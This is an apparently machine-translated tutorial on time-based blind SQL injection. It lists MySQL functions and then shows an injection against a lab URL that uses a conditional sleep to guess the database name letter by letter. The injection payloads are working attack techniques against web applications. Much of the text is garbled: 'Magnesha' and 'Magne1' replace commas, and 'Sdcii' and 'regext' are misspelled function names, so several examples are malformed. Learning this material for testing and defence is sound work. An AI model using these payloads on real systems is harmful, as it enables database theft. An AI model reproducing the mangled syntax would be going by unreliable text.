Shulou(Shulou.com)06/01 Report--

Big data based on time blind case analysis, in view of this problem, this article introduces the corresponding analysis and solution in detail, hoping to help more partners who want to solve this problem to find a more simple and feasible method.

First, function introduction

1. Sleep (5): pause for 5 seconds before returning the result

2. If (condition, expression 1, expression 2): if the condition is true, return expression 1, otherwise return expression 2

3. Substr ('admin',2,3): intercept a string of length 3 from the second position, namely dmi

4. Substring ('admin',2,3): the effect is the same as above

5. Substring ('admin' from 2 for 1): intercept a letter and omit the comma

6. Substring ('admin' from 2): intercept from the second letter

7. Substring_index ('1223334444): intercepted to the third occurrence of 4, that is, 12233344

8. Rlike'^ 12'or regext'^ 12': regular determination of whether a string begins with 12 for example: select * from user where pass regexp'^ 12'

9. Case when...then...end: judge the condition. If the query returns a result, what else will be returned? example: select case when username='admin' then 'admin' else' xxx' end from user.

10. Sdcii (): get the ASCII code of the letter

11. Benchmark (): repeat execution, for example: benchmark (100000000 Magnesha (1))

12. Select count (*) from user a, uer b; select count (*) from user get the result and multiply it by the result

13. Mid (): intercept function, mid ("aiyoubucuo", 1 for 1) mid ("aiyoubucuo" from 1); the result is all 1

14. Left () / right (): the string left ("aiyou", 1) right ("aiyou", 1) truncated from the left / right

15. Ord (): ord ("abc"), which returns the ASCII code with the first letter as the result, a

16. Asc/desc: order by id asc in ascending / descending order

II. Example operation

1. Visit: http://192.168.152.128/aiyou/1.php?id=2

2. Construct conditional statements:

Http://192.168.152.128/aiyou/1.php?id=2' and 1-+

3. Judge the name of the database

Change the condition to: if (ascii (substr (database (), 1Magne1)) = 97 substr sleep (4), null). If the first one in the database is a, pause for 4 seconds.

Keep changing the number until 106, and find that it stays for 4 seconds, indicating that the first letter of the database is j

Then change 1 to 2, judge the second letter of the database name, and find that it happens to be a

This is the answer to big data's case analysis question based on time blind attention. I hope the above content can be of some help to you. If you still have a lot of doubts to be solved, you can follow the industry information channel for more related knowledge.

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